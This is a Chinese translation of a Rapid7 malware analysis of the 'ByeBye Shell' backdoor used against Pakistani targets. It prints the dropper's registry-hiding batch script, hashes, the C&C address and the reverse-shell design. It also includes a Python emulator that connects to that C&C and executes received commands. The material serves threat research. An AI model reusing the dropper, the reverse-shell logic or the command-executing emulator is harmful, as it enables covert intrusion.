首页 > APT相关, 人物/事迹, 恶意软件 > ByeBye Shell——针对巴基斯坦的网络间谍战

ByeBye Shell——针对巴基斯坦的网络间谍战

2013年10月14日 发表评论 阅读评论 9,184次浏览    

 原文:http://community.rapid7.com/community/infosec/blog/2013/08/19/byebye-and-the-targeting-of-pakistan

翻译:封畅

亚洲和南亚就像一个黑客表演的舞台,每天都在邻国之间上演着无数的黑客攻击和网络间谍的斗争。最近我又发现了一个例子,一个从今年年初就开始活跃的黑客行动,针对的目标主要是巴基斯坦。

在这篇文章中,我们会分析这次攻击的实质,攻击中用到的后门的功能(这个后门我给它起名叫ByeBye Shell),以及我和幕后黑客短暂的交手过程。

系统感染

在这个行动中并没有利用什么漏洞——攻击者大概仅仅依赖了社会工程学方法,通过精心伪装的邮件传播后门。

这个恶意软件第一次出现在受害者面前时是一个.scr文件。有时攻击者会使用LRO Unicode字符来将.exe文件伪装成其他更可信的文件。(译者注:RLO是微软的中东Unicode字符中的一个,其作用是强制其后的字符变为从右到左的方式显示,例如本來“setup-txt.exe”这样的文件名,在txt前面插入RLO控制字符之后变成“setup-exe.txt”。)

一旦这个文件被执行,它就会在一个%Temp%的子文件夹中释放并执行一个批处理脚本,内容如下:

@ echo off  
@ start "IEXPLORE.EXE" "<backdoor>"  
@ reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0x00000000 /f  
@ reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /t REG_DWORD /d 0x00000001 /f  
@ reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0x00000000 /f  
@ reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 0x00000000 /f  
@ exit 

如你所见,它会配置注册表,使文件扩展名隐藏并且不显示隐藏文件夹。

接下来这个恶意软件会建立并执行一个cab自解压文件,解压出两个可执行文件,一个会捆绑在PDF或者Word文档上,另一个则是真正的后门。

这个原始文件的hash值是:

8b4224dac114a9b8433913a1977f88b2
469cf94c457c17d8f24dacf9f9d41f33
6b349e439a17c4b66fb2a25965432aa9
d36da5c48d8fb7ee8c736ae183bf3f8a

解压出的文档的内容都是关于巴基斯坦国内国外政治的,下面是一些例子:

byebye shell 01

这个文档中的文章来自于巴基斯坦武装力量叫做希拉尔的杂志。原文可以在这个巴基斯坦机构网站上找到。

byebye shell 02

在这个案例中攻击者貌似是利用了一篇早已存在的文章,在线搜索这篇文章的内容,可以找到这篇文章的来源是一家已经不在线的SATribune的网站。点击这里可以看到这篇文章的全文。

byebye shell 03

同样,这篇文章的原文可以在Dawn.com找到。

byebye shell 04

最后这篇文章来自于Reuters

后门程序

你必须面对的现实是,在这种日复一日的针对性入侵中,不会有什么复杂的技术。PoisonIvy, Gh0st和自制的后门对于安全威胁分析师和恶意软件研究者都是家常便饭,绝大多数情况这些工作都无聊而且没有技术含量的。

这个案例也不例外,被安装在受害者系统上的主要后门看起来是一个自制的反向Shell,只有一点点功能。由于之前没有关于这个案例的研究,我将它命名为ByeBye Shell。

当你反汇编这个二进制文件的时候你能很快的理解这个后门的机制,在安装之后,该后门用0x9D对一个内置的字符串做异或运算,得到服务端的IP地址,然后建立起一个到服务端的连接(通常是在80端口),并且发送当前系统的一些基本信息。

LAB-OF-Me: 10.0.2.15……………………………………………………UserName: User
HostName:lab
MAC: <MAC address>
Address 0: 10.0.2.15
[P130813]

如你所见,它发送计算机名,用户名,IP地址,网卡的MAC地址,最后一行的[P130813]看起来是个常量,可能是目标标识符。

有趣的是,在这次行动中我们发现了一个例子,后门在信息的末尾附加的信息是"INS and AfPak" ——注意,在维基百科的定义中,AfPak是一个美国外交圈新造出来的词汇,用以指代一个包括着阿富汗和巴基斯坦的战区。

在信息发送完之后,这个后门开始不间断的监听打开的套接字连接,等待攻击者和它进行交互。它提供的命令有:

  • shell

  • comd

  • sleep

  • quit

  • kill

你可以在下面的截屏中看到用于跳转的代码块。

byebye shell 05

当套接字接口收到一条信息的时候,它会首先检查这个信息是不是shell,如果是的话就建立一个反向的shell。如果不是的话再检查是不是comd,如果是的话就会直接执行一条命令并返回结果。

byebye shell 06

如果既不是shell也不是comd的话,就继续检查是不是要让后门休眠或者终止。都不是就等待下一次指令。

在下面的截屏中你可以看到反向shell是怎么实现的:它只是启动了一个cmd.exe并将它的stdin, stdout, stderr重定向到开放的套接字接口上。这样操作者就可以直接和Windows命令提示符交互了。

byebye shell 07

如你所见,这是一个极度简单的后门。反病毒监测给他的评价相当不错,尽管它符合很常见的木马特征库。

这个样本还用无效的Windows证书签名了,你可以用它做进一步的指纹识别。

Certificate:  
    Data:  
        Version: 3 (0x2)  
        Serial Number:  
            5b:b2:39:83:49:9b:89:a0:43:a8:10:3a:67:24:13:78  
    Signature Algorithm: md5WithRSAEncryption  
        Issuer: CN=Microsoft Windows  
        Validity  
            Not Before: Dec 31 18:30:00 2011 GMT  
            Not After : Dec 31 18:30:00 2014 GMT  
        Subject: CN=Microsoft Windows  
        Subject Public Key Info:  
            Public Key Algorithm: rsaEncryption  
                Public-Key: (1024 bit)  
                Modulus:  
                    00:c6:e9:0c:5e:0a:09:39:db:58:a8:03:6c:60:da:  
                    32:ad:c5:3d:9a:39:91:ca:93:9f:ac:39:aa:3d:45:  
                    54:a7:63:e0:a7:c3:b0:b6:ee:2b:6c:bd:83:f9:9b:  
                    9b:e1:df:0d:e1:2a:96:e3:99:5e:52:0e:c7:c5:63:  
                    91:b4:e9:37:63:be:4b:62:23:2e:b8:00:f0:48:22:  
                    1e:ef:60:16:99:a4:08:2c:66:72:26:a2:68:1d:66:  
                    a4:22:ff:a5:72:7a:ad:f8:78:9c:1f:2e:89:49:62:  
                    f4:ba:6d:7f:f5:04:b1:9b:29:58:13:1d:f9:0f:a6:  
                    86:95:95:92:0b:57:9c:ca:39  
                Exponent: 65537 (0x10001)  
        X509v3 extensions:  
            2.5.29.1:  
                0D..g.yY,.^.Oxz…./..0.1.0…U….Microsoft Windows..[.9.I…C..:g$.x  
    Signature Algorithm: md5WithRSAEncryption  
         bd:b3:b3:95:14:aa:55:0d:80:4a:7b:d5:54:e9:43:e9:e1:36:  
         c1:7b:25:64:4b:a4:35:6f:55:81:d1:f5:9d:69:87:04:f3:8d:  
         05:0a:49:31:0e:49:11:62:97:85:42:b4:37:63:ce:88:77:59:  
         44:9c:83:03:9c:bb:95:f8:f4:8d:15:b5:1c:96:d4:af:ea:50:  
         0a:cf:53:38:01:ed:00:6c:a0:90:f6:4c:8c:80:12:f3:ac:38:  
         b1:4f:d9:e9:d1:2b:8b:40:0e:9e:6b:38:45:a1:90:2d:fe:79:  
         92:6d:f8:98:f1:a7:bf:9b:8d:7a:bc:89:77:12:33:29:6e:7e:  
         d2:ff  

过招攻击者

在这篇博文中的所有例子里,这个后门指向的控制服务器IP都是46.165.207.134,看起来是一个放在Leaseweb(一家主机商)的主机。

inetnum:        46.165.200.0 – 46.165.207.255
netname:        NETDIRECT-NET
descr:          Leaseweb Germany GmbH (previously netdirekt e. K.)
remarks:        INFRA-AW
country:        DE
admin-c:        LSWG-RIPE
tech-c:         LSWG-RIPE
status:         ASSIGNED PA
mnt-by:         NETDIRECT-MNT
mnt-lower:      NETDIRECT-MNT
mnt-routes:     NETDIRECT-MNT
source:         RIPE # Filtered

在我写这篇博文的时候,这个服务器还在线,然而这个后门试着连接的80端口只有偶尔才连的上。为了找点乐子,我迅速的写了一个Python脚本来模拟ByeBye后门。代码如下:

import os  
import sys  
import socket  
import subprocess  

def main(host='46.165.207.134'):  
    # This is the check-in message.  
    buf = "HOMEPC-OF-User: 192.168.0.5............................................................UserName: User\n"  
    buf += "HostName:HOMEPC\n"  
    buf += "MAC: <MAC ADDRESS>\n"  
    buf += "Address 0: 192.168.0.5\n"  
    buf += "[P100713]\n"  
    buf += "$"  

    # Emulating cmd.exe, hacky but works.  
    cmd = "Microsoft Windows XP [Version 5.1.2600]\n"  
    cmd += "(C) Copyright 1985-2001 Microsoft Corp.\n"  
    prompt = "C:\Documents and Settings\User> "  

    print("[*] Trying to connect to C&C...")  

    # Try to establish connection with the C&C.  
    while True:  
        try:  
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
            sock.connect((host, 80))  
        except Exception as e:  
            print("[!] ERROR: Unable to connect: {0}".format(e))  
            sock.close()  
            continue  
        else:  
            subprocess.Popen('start alarm.mp3', shell=True)  
            break  

    print("[*] Connected to C&C!")  

    # Send check-in message.  
    sock.send(buf)  

    print("[*] Authenticated to C&C!")  

    # This flag represents whether we should currently emulate a cmd.exe prompt  
    # or emulate the backdoor shell.  
    shell_mode = False  

    # Main loop.  
    while True:  
        # Wait for incoming command.  
        try:  
            bufin = sock.recv(1024)  
        except KeyboardInterrupt:  
            break  
        except Exception as e:  
            print("[!] ERROR: Connection lost: {0}".format(e))  
            break  

        data = bufin.strip()  
        if len(data) == 0:  
            continue  

        print("[+] Received: {0}".format(data))  

        # If we are in cmd.exe mode...  
        if shell_mode:  
            # If he tries to exit the cmd, we emulate that.  
            if data in ('quit', 'exit'):  
                shell_mode = False  
                sock.send('$')  
                continue  
            # If he tries to shutdown the system, I'm gonna interrupt.  
            elif 'shutdown' in data:  
                break  
            # I don't want him to kill processes.  
            elif 'taskkill' in data:  
                continue  
            # Otherwise just execute the command.  
            else:  
                proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)  
                (out, err) = proc.communicate()  

                if out:  
                    lines = out.split('\n')  
                    out_lines = []  
                    for line in lines:  
                        # Can filter output here, for instance remove process  
                        # names or VirtualBox indicators and such.  

                        out_lines.append(line)  

                    # Send the findal cmd output.  
                    sock.send('\n'.join(out_lines))  
                if err:  
                    sock.send(err)  

                sock.send(prompt)  
        else:  
            if data == 'kill':  
                # Should do this:  
                #sock.send('KILLED')  
                # But I'm disappointed:  
                sock.send('NOOooOOooOOooOOoo :-( I thought we were friends!')  
                break  
            elif data == 'shell':  
                sock.send(cmd)  
                sock.send(prompt)  
                shell_mode = True  
                continue  
            elif data == 'sleep':  
                sock.send('BYE BYE\n')  

            sock.send('$')  

if __name__ == '__main__':  
    if len(sys.argv) == 2:  
        main(sys.argv[1])  
    else:  
        main() 

如你所见,这个脚本只是简单的试图模仿ByeBye的基本功能。他会像后门一样发送信息并等待控制者的指令。

上面我说过,控制者偶尔才上线,所以我让这个脚本可以发出巨大的声音叫醒我,大的都能叫醒我的室友。

令人惊喜的是在我第一次尝试几分钟后控制者就连接过来了,尽管他很快就试图终止后门的运行,大概是因为他注意到了这不是他期望的IP来源。

[+] Received: kill
[+] Received: kill
[+] Received: shell
[+] Received: shutdown /r /t 0

不幸的是那时候我还没有完成我的脚本,因此他注意到了奇怪的地方并且中断了连接。过了几天,我完成了我了脚本,并且准备了更加真实的场景:一个看起来合法的来自南亚的连接。这次等到控制者的时间稍微长了一点。他试着在我的系统上搜索文档:

[+] Received: shell
[+] Received: systeminfo
[+] Received: dir /s *.pdf
[+] Received: dir /s *.doc
[+] Received: exit
[+] Received: sleep

遗憾的是没有更多的行为被观察到了。

结论

这是另一个没有技术的攻击者设法进行长时间的网络间谍活动的例子。这大概是这么久以来我遇到的最简单的事件了,但是我们有理由相信这场行动已经维持长达六个月了,甚至可能更长。没有清晰的证据表明这次攻击的来源是哪里。

(全文完) 

版权声明:自由转载-非商用-非衍生-保持署名 | Creative Commons BY-NC-ND 3.0
  1. e3rp4y
    2013年10月14日19:37 | #1

    为什么不直接在cmd上做个wrapper呢?